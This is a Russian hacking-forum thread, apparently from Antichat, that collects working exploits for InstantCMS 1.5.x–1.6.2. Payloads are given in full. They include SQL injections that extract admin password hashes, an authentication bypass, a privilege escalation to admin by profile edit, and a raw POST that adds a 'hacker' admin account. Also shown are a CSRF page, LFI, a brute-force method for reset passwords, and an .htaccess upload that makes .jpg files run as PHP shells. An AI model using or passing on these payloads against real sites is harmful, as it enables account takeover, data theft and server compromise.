sql inj instantCMS <== 1.5.3 Need:mq=off как раньше писал в этой цмс почти все фильтруется, что передается методом post, код усеян регулярками. Но есть одна особенность. Все это хорошо конечно, но фильтр пропускает 1) \ 2) " Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \ ошибка есть, но толку нет, insert запросы никак не закрыть т.к '(одинарная кавычка) обрабатывается фильром и заменяется на `(апостроф). Ближе к делу. Рассмотрим скрипт регистрации юзеров. /components/registration/frontend.php PHP: if($inDB->rows_count('cms_users', 'LOWER(nickname) LIKE "'.strtolower($nickname).'"', 1)){ $msg .= $_LANG['ERR_NICK_EXISTS'].'<br/>'; } /core/classes/db.class.php PHP: public function rows_count($table, $where, $limit=0){ $sql = "SELECT * FROM $table WHERE $where"; if ($limit) { $sql .= " LIMIT ".$limit; } $result = $this->query($sql); return $this->num_rows($result); } Суть:Перед тем как аккаунт занесется в бд, он проверится на совпадения. $nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому. вбиваем d поле никнейм следующую шляпу. Code: 1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))# Есть одна проблема. Символы <> Жрет фильтр. Это печально, из-за этого на добычу хеша бинарным поиском уйдет больше времени и больше срача будет в логах. Пока еще не раздумывал, но я догадываюсь, как можно обойти. Как разберусь напишу результат. P.S. переменная $email, проверяется только на регулярку через eregi(). Поставил старую версию php и начал Травить я его ядовитым нулл байтом. ничего хорошего не вышло. только ошибка в бд... байт чего-то синтаксис портит нехило. С этого момента после нахождения мной уязвимости в этой кмс, о ней будет информирован разработчик.
InstantCMS v1.5.3 © 2009 Пассивная XSS LFI Нужны права админа. Т.к. при ../ - слэш убираеться, юзаем ..\ /admin/index.php?view=..%5C..%5Cshell.txt%00 (В корне лежал файл shell.txt с phpinfo(); ), код выполнился. SQL Inj Нужны права админа. /admin/index.php?view=components&do=config&id=21&opt=edit&item_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+ PHP: if (isset($_SESSION['editlist'])){ $id = array_shift($_SESSION['editlist']); if (sizeof($_SESSION['editlist'])==0) { unset($_SESSION['editlist']); } else { $ostatok = '(На очереди: '.sizeof($_SESSION['editlist']).')'; } } else { $id = $_REQUEST['item_id']; } $sql = "SELECT * FROM cms_user_autoawards WHERE id = $id LIMIT 1"; $result = dbQuery($sql) ; if (mysql_num_rows($result)){ $mod = mysql_fetch_assoc($result); } CSRF exploit: HTML: <html> <title> Fs3M Chm0k3 v 3Nt0m ch4te! =* </title> <div style='display: none'> <form action="http://shop/admin/index.php?view=users&do=edit&id=21" method="post" enctype="multipart/form-data" name="addform" id="addform"> <input name="login" type="text" id="logininput" value="Login" /> <input name="nickname" type="text" id="login" value="Xenker"/> <input name="email" type="text" id="nickname" value="abcd@localhost"/> <input name="pass" type="password" id="pass"/> <input name="pass2" type="password" id="pass2"/> <select name="group_id" id="group_id"><option value="2" >Администраторы</option></select> <input name="is_locked" type="radio" value="0" checked="checked" /> Нет <input name="do" type="hidden" id="do" value="update" /> <input name="add_mod" type="submit" id="add_mod" value="Сохранить профиль" /> </div> <script> document.addform.submit(); </script> </html> Примечание: Там очень много SQL Inj, но, долбанное ЧПУ недаёт свободу!
Переустановка пароля админа и угадывание егоУязвимы все версии. Для эксплуатации нужно: Админское мыло(по умолчанию отображается в профиле) много времени. В чем суть: /components/registration/frontend.php PHP: $sql = "SELECT * FROM cms_users WHERE email = '$email' LIMIT 1"; $result = $inDB->query($sql) ; if ($inDB->num_rows($result)>0){ $usr = $inDB->fetch_assoc($result); $newpassword = substr(md5(microtime()), 0, 6); $inDB->query("UPDATE cms_users SET password = '".md5($newpassword)."' WHERE id = ".$usr['id']) ; $mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n"; $mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n"; $mail_message .= $_LANG['REMINDER_TEXT'].' "'.$inConf->sitename.'".' . "\n\n"; $mail_message .= $_LANG['OUR_PASS_IS_MD5'] . "\n"; $mail_message .= $_LANG['OUR_PASS_IS_MD5_TEXT'] . "\n\n"; $mail_message .= '########## '.$_LANG['YOUR_LOGIN'].': ' .$usr['login']. "\n\n"; $mail_message .= '########## '.$_LANG['YOUR_NEW_PASS'].': ' .$newpassword . "\n\n"; $mail_message .= $_LANG['YOU_CAN_CHANGE_PASS']."\n"; $mail_message .= $_LANG['IN_CONFIG_PROFILE'].': '. cmsUser::getProfileURL($usr['login']) . "\n\n"; $mail_message .= $_LANG['SIGNATURE'].', '. $inConf->sitename . ' ('.HOST.').' . "\n"; $mail_message .= date('d-m-Y (H:i)'); $inCore->mailText($email, $inConf->sitename.' - '.$_LANG['REMINDER_PASS'], $mail_message); Этот скрипт восстанавливает пароль рассеяным юзерам. Но как он это делает. 1) Проверяет есть ли мыльник в бд. 2) Скрипт не церемонясь присваивает значение паролю равному первым шести символам хеша от значения, которое генерирует функция microtime(). Code: Функция microtime() возвращает текущую метку времени с микросекундами. Эта функция доступна только на операционных системах, в которых есть системная функция gettimeofday(). При вызове без необязательного параметра, возвращается строка в формате "msec sec", где sec - это количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть. она генерирует что-то на подобии. 0.xxxxxx00 [1273589840] где xxxxxx-доли секунды то что в квадратных скобках-это количество секунд, прошедших с начала Эпохи Unix. Как юзать уязвимость: Отсылаем запрос на восстановление пароля и сниффаем пакет. смотрим в ответе на запрос дату. Там что-то вроде. Tue, 11 May 2010 20:39:23 GMT узнаем на локальной машине сколько прошло с момента 1970, 00:00:00 GMT. 2) А вот микросекунды придется брутить, их мы никак не узнаем. Список создаем вида 0.xxxxxx00 [время в секундах прошедшее от момента "Unix" до момента отправки запроса на восстановление пароля] пример: 0.30001200 1273589840 всесто xxxxxx вставляем все возможные комбинации из цифр, их 1 млн. Затем преобразуем их к виду. substr(md5(значение), 0, 6) возвращаем мд5 каждого получившегося значения и отрезаем от хеша символы после шестого знака. Пример: 1a512b Получился словарь 1млн слов. Один из этих слов-сгенерированный пассворд. Брутим веб форму. У меня на дедике многопоточный брут дает до 11 ппс. 1000000/11=90.909 - то есть в худшем случае пароль мы узнаем через сутки. Геморно, а че поделать. На количество попыток залогиниться ограничений не стоит в форме авторизации. P.S. Оказывается секунда-это много. Этот баг не яркий пример приятной эксплуатации. Но все же он ведет к успеху. Т.К. В сгенерированном большом словаре 100% содержится правильный пассворд. И если ничего не остается, как вариант можно юзать. Нарушение криптостойкости паролейеще этот баг открывает новую опасность. Сгенерированный пароль сразу попадает в бд. Что это дает? Допустим стянул ты пароль админа через sql inj. А он не расшифровывается, пароль трудный. Что мы делаем: 1) Переустанавливаем пароль той же фичей. Напоминаю пароль состоит из 6 символов, которые являются цифрами или буквами. 2) Стягиваем через sql inj md5 и расшифровываем уже сгенерированный пароль. (думаю пароль из 6 символов [букв и цифр] расшифровать не трудно) все Видео с примером использования уязвимости: https://forum.antichat.ru/threadedpost2138119.html#post2138119
instantCMS 1.5.3 Blind SQL Inj. Вывода ошибок нету. Как хотите так и крутите Я включил себе вывод ошибок. Duplicate entry '5.0.45-community-nt1' for key 1 PHP: case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error()); if (mysql_num_rows($result)){ $data = mysql_fetch_assoc($result); if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; } $html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>'; if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; } } break;
Опачки. Ещё Blind. Instant CMs 1.5.3 т.к. юзер root. первый символ r = ASCII = 114. Выведиться весь контент, НУ вы понеле кароче! // /components/rssfeed/frontend.php?target=content&item_id=-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20-- Так даже удобнее ^_^
InstantCMS <==1.5.1 Внедерение sql кода Добавляем админа Иногда бывают моменты, когда нет смысла искать уязвимость, чисто потому что разработчик продукта сам ее нашел за вас =))) Уязвимость была найдена методом сравнения нового дистрибутива и старого. В результате было найдено много багов в старых дистрибутивах. Самый вкусный выкладываю. файл /core/ajax/dumper.php Этот скрипт по идее создан для админа, но пускает и простых юзеров. Суть значит в чем? Он экспортит, импортит бд и удаляет бэкапы. С экспортом бд ничего хорошего сказать не могу. На локалхосте робит, на некоторых сайтах работать отказывается. Но нам он и не нужен. Мы будем добавлять админа через import PHP: if ($opt=='import'){ $uploaddump = $dir.'/import.sql'; if (@move_uploaded_file($_FILES['dumpfile']['tmp_name'], $uploaddump)) { include($_SERVER['DOCUMENT_ROOT'].'/includes/dbimport.inc.php'); $errors = ''; if(dbRunSQL($uploaddump)){ @unlink($uploaddump); echo '<span style="color:green">Импорт базы данных завершен.</span>'; } else { echo '<span style="color:red">'.$errors.'</span>'; } } else { echo '<span style="color:red">Ошибка импорта базы</span>'; } } 1) Передаем opt=import И через $_FILES шлем файл с evil запросом. /includes/dbimport.inc.php PHP: strstr($str, 'CREATE TABLE') || strstr($str, 'INSERT INTO') || strstr($str, 'DROP') || strstr($str, 'UPDATE') || strstr($str, 'ALTER TABLE')) select запросы неприемлимы импортер их не хавает. Но и смысла в них нет. Значит как юзать. 1) Тупо шлем пакет: Code: POST /core/ajax/dumper.php HTTP/1.0 User-Agent: google/bot Host: localhost Proxy-Connection: Keep-Alive Content-Type: multipart/form-data; boundary=----------sBqCWtu9l05BT8ffSSXt4Q Content-Length: 675 ------------sBqCWtu9l05BT8ffSSXt4Q Content-Disposition: form-data; name="opt" import ------------sBqCWtu9l05BT8ffSSXt4Q Content-Disposition: form-data; name="dumpfile"; filename="13-05-2010.sql" Content-Type: application/octet-stream INSERT INTO `cms_users` (`id`, `group_id`, `login`, `nickname`, `password`, `email`, `icq`, `regdate`, `logdate`, `birthdate`, `is_locked`, `is_deleted`, `rating`, `points`, `last_ip`) VALUES ('666','2','hacker','hacker','5f4dcc3b5aa765d61d8327deb882cf99','[email protected]','100200300','2007-11-23 12:41:57','2010-05-13 11:46:50','1980-01-01','0','0','2','0','0.0.0.0'); ------------sBqCWtu9l05BT8ffSSXt4Q-- В бд появится админ id:666 login:hacker password : password (md5) email: [email protected] 2)Для консерваторов: Code: </html> <head> <title> The matr1x</title> </head> <h3>форма добавления админа</h3> <form id="importdump" name="importdump" action="http://www.localhost/core/ajax/dumper.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="opt" value="import" /> <input name="dumpfile" type="file" id="dumpfile" size="25" /> <input type="submit" value="добавить админа" /> </form> </body> </html> УСЕ! =) Первооткрыватель: Spyder
запрос Code: SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1 В запросе ведь $target_id.... Откуда взялся item_id? Дело в то, что Тут другой запрос. Твой не имеет совершенно никакого отношения к баге. Результат: Кривой Эксплойт. Суть этой скули в следующем. Проследим и ОЧЕНЬ подробно по запчастям разберемся в работе скрипта. Так как тут очень много переходов по файлам. /components/rssfeed/frontend.php PHP: require(PATH."/core/cms.php"); ................................... $inCore->loadClass('db'); ................................... if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){ $inCore->includeFile('components/'.$target.'/prss.php'); eval('rss_'.$target.'($item_id, $cfg, $rssdata);'); $ready = sizeof($rssdata['items']); функция includeFile() объявляется в /core/cms.php. вот она PHP: public function includeFile($file){ include_once PATH.'/'.$file; } В своем запросе ты передал $target=content. Инклудится /components/content/prss.php смотрим что в нем PHP: $cat = dbGetFields('cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight'); Возвращаемся в /core/cms.php и смотрим, что делает функция dbGetFields() /core/cms.php PHP: function dbGetFields($table, $where, $fields, $order='id ASC'){ $inDB = cmsDatabase::getInstance(); $sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order"; $result = $inDB->query($sql) or die('DB_GET_FIELDS: '.mysql_error().'<pre>'.$sql); if ($inDB->num_rows($result)){ $data = $inDB->fetch_assoc($result); return $data; } else { return false; } } Функции поступают dbGetFields( 'cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight') Шаблонный вид ($table, $where, $fields, $order='id ASC') как видно функция генерирует запрос $sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order"; первое значение $table='cms_category' второе значение. $where='id='.$item_id $fields='id, title, description, NSLeft, NSRight' ну и $order='id ASC', который уже задан в функции. Теперь подставляем значения смотрим какой запрос нам сгенерирует функция. Code: SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC как видно остался злосчастный $item_id, который не проинициализирован и не подвергается обработке. Далее что делает функция. dbGetFields $inDB->num_rows($result) $result = $inDB->query($sql) $data = $inDB->fetch_assoc($result); функции query() и fetch_assoc() вызовутся так: вернемся в fronted.php смотрим строчку $inCore->loadClass('db'); loadClass() объявляется в cms.php PHP: public function loadClass($class){ $classfile = PATH.'/core/classes/'.$class.'.class.php'; if (file_exists($classfile)){ include_once($classfile); return true; } нам подгружается db.class.php PHP: public function fetch_assoc($result){ return mysql_fetch_assoc($result); } PHP: public function num_rows($result){ return (int)mysql_num_rows($result); } PHP: public function query($sql){ $inConf = cmsConfig::getInstance(); $result = mysql_query($sql, $this->db_link); if ($inConf->debug){ $this->q_count += 1; $this->q_dump .= '<pre>'.$sql.'</pre><hr/>'; } if (mysql_error() && $inConf->debug){ die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>'); } return $result; } как и видно по названия им вызываются соответствующие функции. если num_rows() ничего тебе не вернет, то дело до fetch_assoc() не дайдет, функция вернет false. А вытекающее следующее. вместо вывода ты получишь: frontend.php PHP: else { $rss = '<p>Запрашиваемая вами RSS-лента не содержит записей.</p>'; } Отсюда следует вот что: num_rows() должен вернуть не пустое значение. exploit components/rssfeed/frontend.php? Code: target=content&item_id=[id существующей категории]+union+select+1,concat_ws(0x3a,user(), database(),version()),3,4,5+--+ честно скажу я не стал вникать, почему твоя конструкция вернула тебе резуьтат(num_rows не вернул 0), ибо все эти хождения по файлам и функциям уже мой мозг вынесли напрчь. Но одно очевидно, я добавил новые категории(а админы их пустыми то и не держут) и твой exploit отказался работать. вот такая система работы. Никаких 4,14 не нужно. а ведь хорошая уязвимость =) даже mq = off не требуется.
Вот откуда он взялся А вообще. PHP: ... $do = $inCore->request('do', 'str', 'rss'); $target = $inCore->request('target', 'str', 'rss'); $item_id = $inCore->request('item_id', 'str', 'all'); ... $inCore->includeFile('components/'.$target.'/prss.php'); eval('rss_'.$target.'($item_id, $cfg, $rssdata);'); Посмотрим на файл с этой функцией.. PHP: function rss_content($item_id, $cfg, &$rssdata){ .... if ($item_id == 'all') { $item_id = 0; } //CHANNEL if ($item_id){ $cat = dbGetFields('cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight'); $catsql = "AND c.category_id = cat.id AND cat.NSLeft >= {$cat['NSLeft']} AND cat.NSRight <= {$cat['NSRight']}"; Ponel ?) v 1.5.3
Ну а я о чем писал? =) Я и эту функцию привел, и показал, что она делает и какой в результате получается запрос. И никакого target_id который ты привел в этом коде. PHP: case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error()); if (mysql_num_rows($result)){ $data = mysql_fetch_assoc($result); if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; } $html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>'; if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; } } break; там нету и быть не может. Прочти внимательнее мой пост выше =)
Я тестил на 1.5.3. Да все верно на 1.6.1 эта бага залатана вроде как. Закроем глаза на target_id. Разберемся с запросом. Нагуляляся по функциям. В итоге ты в этот запрос инжектил? Code: SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC ? Другая поправка. если ты укажешь в item_id существующий id, то ты железно получишь вывод причину описал выше. Иначе есть риск запороть вывод. Проверь, убедись.
LFI InstantCMS <===== 1.5.1 Nees: mq=off index.php PHP: $inCore->proceedBody(); /core/cms.php PHP: public function proceedBody(){ $inPage = cmsPage::getInstance(); $menuid = $this->menuId(); $is_component = false; ob_start(); if (isset($_REQUEST['view'])) { $component = htmlentities($_REQUEST['view'], ENT_QUOTES); } if (isset($component)){ //CHECK COMPONENT NAME (это типа фильтр ухаха) if (strstr($component, ' ') || strstr($component, '\'') || strstr($component, '"') || strstr($component, '&') || strstr($component, '#') || strstr($component, '*') || strstr($component, '>') || strstr($component, '<') ) { die('HACKING ATTEMPT BLOCKED'); } //EXECUTE COMPONENT if(file_exists('components/'.$component.'/frontend.php')){ echo '<div class="component">'; require ('components/'.$component.'/frontend.php'); eval($component.'();'); echo '</div>'; $is_component = true; if ($menuid != 1 && $inPage->back_button) { echo "<p><a href='javascript:history.go(-1)' class=\"backlink\">« Назад</a></p>"; } } else { echo '<p>Компонент не найден!</p>'; } } $inPage->page_body = ob_get_clean(); if ($is_component) { $inPage->page_body = cmsCore::callEvent('AFTER_COMPONENT_'.mb_strtoupper($component), $inPage->page_body); } return true; } .................................. exploit Code: Index.php?view=[LFI]%00
УРА! Вышла стабильная версия instantCMS 1.6.2, в которой разработчики полатали все выложенные тут баги, но у меня была цель найти еще баг именно в этой версии, что из этого вышло смотрим ниже. 0day. Повышаение прав в cms до админа InstantCms <===1.6.2 (обход фильтра) Как видно из названия, мы можем из простого юзера попасть в админа. Need MQ=off редактирование профиля: /users/frontend.php PHP: if ($do=='editprofile'){ $opt = $inCore->request('opt', 'str', 'edit'); if (usrCheckAuth()){ if ($inUser->id==$id || $inCore->userIsAdmin($inUser->id)){ if ($opt == 'save'){ $errors = false; $nickname = $inCore->request('nickname', 'str'); if (strlen($nickname)<2) { cmsCore::addSessionMessage($_LANG['SHORT_NICKNAME'], 'error'); $errors = true; } $gender = $inCore->request('gender', 'str'); $city = $inCore->request('city', 'str'); if (strlen($city)>20) { cmsCore::addSessionMessage($_LANG['LONG_CITY_NAME'], 'error'); $errors = true; } $email = $inCore->request('email', 'str'); if (!strpos($email, '@') || !strpos($email, '.')) { cmsCore::addSessionMessage($_LANG['REALY_ADRESS_EMAIL'], 'error'); $errors = true; } $showmail = $inCore->request('showmail', 'int'); $email_newmsg = $inCore->request('email_newmsg', 'int'); $showbirth = $inCore->request('showbirth', 'int'); $description = $inCore->request('description', 'str'); $birthdate = (int)$_REQUEST['birthdate']['year'].'-'.(int)$_REQUEST['birthdate']['month'].'-'.(int)$_REQUEST['birthdate']['day']; $signature = $inCore->request('signature', 'str'); $allow_who = $inCore->request('allow_who', 'str'); $icq = $inCore->request('icq', 'str'); $showicq = $inCore->request('showicq', 'int'); $cm_subscribe = $inCore->request('cm_subscribe', 'str'); if ($inCore->inRequest('field')){ foreach($_POST['field'] as $k=>$val){ $_POST['field'][$k] = str_replace('\"', '"', $_POST['field'][$k]); $_POST['field'][$k] = str_replace('"', '"', $_POST['field'][$k]); $_POST['field'][$k] = str_replace("\'", '’', $_POST['field'][$k]); $_POST['field'][$k] = str_replace("'", '’', $_POST['field'][$k]); $_POST['field'][$k] = strip_tags($_POST['field'][$k]); } $formsdata = $inCore->arrayToYaml($_POST['field']); $forms_sql = ", formsdata='$formsdata'"; } else { $forms_sql = ''; } if (!$errors){ $sql = "UPDATE cms_user_profiles SET city = '$city', description = '$description', showmail='$showmail', showbirth='$showbirth', showicq='$showicq', allow_who='$allow_who', signature='$signature', gender='$gender' $forms_sql, email_newmsg='$email_newmsg', cm_subscribe='$cm_subscribe' WHERE user_id = $id"; $inDB->query($sql) ; $sql = "UPDATE cms_users SET birthdate='$birthdate', email='$email', icq='$icq', nickname='$nickname' WHERE id = $id"; $inDB->query($sql) ; cmsCore::addSessionMessage($_LANG['PROFILE_SAVED'], 'info'); } $inCore->redirect(cmsUser::getProfileURL($inUser->login)); } Как устроен фильтр? У нас фильтр реплэсит ' (Кавычка) \' (слеш+одинарная кавычка) \" (слеш+двойная кавычка) "(двойная кавычка) насчет 2 и 3 я честно сказать не понял, что разработчики хотели этим мне доказать? давайте обратим внимание на этот запрос. Code: $sql = "UPDATE cms_users SET birthdate='$birthdate', email='$email', icq='$icq', nickname='$nickname' WHERE id = $id"; $inDB->query($sql) ; Этот запрос апдейтит cms_users. (Через форму для апдейта). изменяет ICQ, email, nickname. В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ. Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные. Ну и как же нам внедрить себя в этот запрос с учетом вышеуказанного фильтра? ЭЛЕМЕНТРАРНО! В поле ваше имя вбиваем: group_id=2 #\ В поле ICQ Вбиваем: 333s \ соответственно $icq=333s \ ; $nickname=group_id=2 #\ Давайте посмотрим, что у нас получилось. Code: $sql = "UPDATE cms_users SET birthdate='$birthdate', email='$email', icq=[COLOR=Red]'333s \', nickname='[/COLOR], group_id=2 #\' WHERE id = $id"; АГА. Жареным пахнет. Мы заэкранировали кавычку и вышли в запрос, и закрыли icq мы открывающей кавычкой От nickname и дописали доболнительное значение group_id=2. После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа. Вот такая вот интересная бага была найдена в новой версии instantCMS Видео к теме: Code: https://forum.antichat.ru/showthread.php?p=2145955#post2145955
Опять зиро дэй Auth0r1zat1oN byPass InstantCMS<=== 1.6.2 Need: mq=off Не буду нагромождать лишним кодом. Запрос для авторизации следующий: PHP: $sql = "SELECT * FROM cms_users WHERE $where_login AND password = md5('$passw') AND is_deleted = 0 AND is_locked = 0"; Что нельзя использовать ' (Кавычка) [Реплейсится в `(апостроф)] легко понять, что этого мало. Как юзать: В поле логин пишем: matrix\ в поле пароль пишем: or id=1#\ У нас получится: Code: SELECT * FROM cms_users WHERE login = [COLOR=Red]'matrix\' AND password = md5('[/COLOR]or id=1#[COLOR=Lime]\') AND is_deleted = 0 AND is_locked = 0[/COLOR] слешанули по одной кавычке в логине и пассворде. в результате логин закрылся кавычкой от password и синтаксис не нарушился. примечание: id-айди пользователя под которым мы хотим залогиниться. Вот так мы байпаснули авторизацию. Разработчик о баге и о наличии супер функции mysql_real_escape_string() оповещен.
УРА! Вышли заплатки на новую версию. Версию instantCMS. Захотел покурить php код вот что получилось InstantCMS <==1.6.2(2) sql injection (insert) MQ=off /components/frontend.php PHP: "INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits) VALUES ('$id', '".$inUser->id."', '$title', '$description', '', NOW(), 0)"; повезло. $title $description пропускают \ Как это заюзать создаем на форуме топик Название:matr1x\ Описание: , (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)# Мы получаем Code: "INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits) VALUES ('$id', '".$inUser->id."', '[COLOR=Red]matr1x\', [/COLOR]', (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#[COLOR=White]', '', NOW(), 0)[/COLOR]"; закрыли title кавычкой от description и вышли в запрос после чего проинжектировали -) Теперь идем в список топиков и наблюдаем свой топик в описании которого что-то на подобии Code: admin:5f4dcc3b5aa765d61d8327deb882cf99 ----------- сообщение для разработчика: r2, привет =)))
InstantCMS 1.6.2 File upload Тащим свой зад на форму аплоада файлов Code: http://localhost/users/ваш id/addfile.html componennts/users/frontend.php PHP: foreach ($_FILES as $key => $data_array) { $error = $data_array['error']; if ($error == UPLOAD_ERR_OK) { @mkdir(PATH.'/upload/userfiles/'.$id); $tmp_name = $data_array["tmp_name"]; $name = $data_array["name"]; $size = $data_array["size"]; $size_mb += round(($size/1024)/1024, 2); if ($size_mb <= $free_mb){ if(!strstr($name, '.php') && !strstr($name, '.asp') && !strstr($name, '.aspx') && !strstr($name, '.js') && !strstr($name, '.html') && !strstr($name, '.phtml')){ if (move_uploaded_file($tmp_name, PATH."/upload/userfiles/$id/$name")){ Заливаем сначала файл .htaccess содержимым Code: addhandler application/x-httpd-php jpg затем shell с расширением jpg Шелленг загрузится в http://localhost/upload/userfiles/[ваш ид]/[имя шелла].jpg и будет выполняться.